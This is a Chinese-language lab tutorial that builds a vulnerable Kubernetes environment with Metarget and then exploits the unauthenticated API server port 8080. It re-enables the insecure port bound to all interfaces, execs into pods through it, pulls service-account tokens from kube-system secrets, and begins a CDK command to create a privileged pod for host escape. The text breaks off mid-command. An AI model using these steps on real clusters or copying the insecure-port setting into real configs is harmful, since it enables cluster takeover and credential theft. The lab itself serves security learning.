项目地址(教程):https://github.com/Metarget/metarget/blob/master/README-zh.md
注意:推荐在Ubuntu 18.04(推荐)安装。
git clone https://github.com/Metarget/metarget.git
cd metarget/
sudo apt install python3-pip
pip3 install -r requirements.txt -i http://pypi.douban.com/simple --trusted-host pypi.douban.com
先安装docker
./metarget gadget install docker --version 18.03.1
安装指定版本的k8s:
./metarget gadget install k8s --version=1.16.5 --domestic //采用国内源安装。
Metarget支持部署多节点Kubernetes集群环境,如果想要部署多节点,在单节点部署成功后,将tools目录下生成的install_k8s_worker.sh脚本复制到每个工作节点上执行即可。
Metarget支持部署多节点Kubernetes集群环境,如果想要部署多节点,在单节点部署成功后,将tools目录下生成的install_k8s_worker.sh脚本复制到每个工作节点上执行即可。
执行install_k8s_worker.sh后执行列出当前节点命令错误,提示The connection to the server localhost:8080 was refused - did you specify the right host or port?
解决方法:
cd /etc/kubernetes/
查看到有个文件:kubelet.conf
(你们的有可能是admin.conf)
执行命令
echo "export KUBECONFIG=/etc/kubernetes/kubelet.conf" >> /etc/profile
source /etc/profile
再次查看 kubectl get pod 已经正常。
原因: kubernetes master没有与本机绑定,集群初始化的时候没有绑定,此时设置在本机的环境变量即可解决问题。
From:https://blog.csdn.net/zw421152835/article/details/123312072
Worker节点的ROLES并不像Master节点那样显示“master”而是显示了,这是因为新安装的Kubernetes环境Node节点有时候会丢失ROLES信息,遇到这种情况可以手工进行添加,具体命令如下
kubectl label node vm-0-8-ubuntu node-role.kubernetes.io/worker=worker
部署在Master上暴露Kubernetes API,是Kubernetes的控制面。Kubernetes API服务器为API对象验证和配置数据,这些对象包含Pod,Service,ReplicationController等等。API Server提供REST操作以及前端到集群的共享状态,所有其他组件可以通过这些共享状态交互。
默认情况,Kubernetes API Server提供HTTP的两个端口:8080,6443。insecure-port: 默认端口8080,在HTTP中没有认证和授权检查。secure-port :默认端口6443, 认证方式,令牌文件或者客户端证书,如下图访问http://IP:8080。
一个6443和一个8080,前者会进行鉴权,后者不会。
https://192.168.3.135:6443/
http://192.168.3.135:8080/
1、漏洞环境配置。
测试了几个版本的k8s,发现在新版本后,–insecure-port=8080配置默认就关闭了
vim /etc/kubernetes/manifests/kube-apiserver.yaml
这里设置为0表示关闭,甚至在高版本的k8s中,直接将–insecure-port这个配置删除了。
需要手动添加,这里将修改为8080,并添加配置。
- --insecure-port=8080
- --insecure-bind-address=0.0.0.0
systemctl restart kubelet
2、通过kubectl远程操作k8s。
-s 或-server 设置 API Server 的 URL 地址,而不使用默认值。
kubectl -s 192.168.3.135:8080 get node
kubectl -s 127.0.0.1:8080 --namespace=default exec -it nginxfromuzju-59595f6ffc-p8xvk bash
kubectl -s 192.168.3.135:8080 --namespace=default exec -it testapp-684dd9795-ktk5n bash
3、获取service-account-token。
可以通过访问api来获取token。
/api/v1/namespaces/kube-system/secrets/
4、创建特权容器,挂载宿主机根目录逃逸。
cdk下载地址:https://github.com/cdk-team/CDK
./cdk_linux_amd64 kcurl anonymous post 'http://192.168.3.140:8080/api/v1/namespaces/default/pods?fieldManager=test-4444' <